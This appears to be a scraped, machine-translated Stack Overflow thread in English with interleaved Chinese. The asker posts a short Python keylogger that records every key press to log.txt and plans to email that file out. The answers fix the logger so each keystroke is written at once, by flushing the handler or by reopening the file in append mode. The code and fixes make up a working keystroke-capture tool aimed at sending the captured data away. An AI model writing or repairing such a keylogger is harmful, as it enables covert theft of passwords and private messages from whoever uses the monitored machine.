[英]How can I save it so the e-mail script can read/send it?
I want to send the log.txt to an e-mail. 我想将log.txt发送到电子邮件。 The e-mail part works, but this logger doesn't save the file.
电子邮件部分有效,但是此记录器未保存文件。 It saves it only on exit.
它仅在退出时保存。 So it keeps writing and writing.
因此,它一直在写作。 I inserted f.write after every key press but it didn't work.
每次按键后我都插入了f.write,但是没有用。
If you could help I'd appreciate it. 如果您能帮助我,我将不胜感激。
The question is : How can I save it so the e-mail script can read/send it? 问题是:如何保存它,以便电子邮件脚本可以读取/发送它?
The code is: 代码是:
log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
f = open('log.txt', 'w')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
You need to flush the buffer. 您需要刷新缓冲区。 Try
尝试
logging.getLogger().handlers[0].flush()
After every write. 每次写完之后。
Try closing the text file after something is written to the file 将某些内容写入文本文件后尝试关闭该文本文件
f.close()
Also I would suggest opening it with a a+
to append the file 我也建议用
a+
将其打开以附加文件
So something like this: 所以像这样:
log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG,
format='%(asctime)s: %(message)s')
#f = open('log.txt', 'w')
def on_press(key):
f = open('log.txt', 'a+')
logging.info(str(key))
f.write("Put stuff here that you want written to a file")
f.close()
with Listener(on_press=on_press) as listener:
listener.join()
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.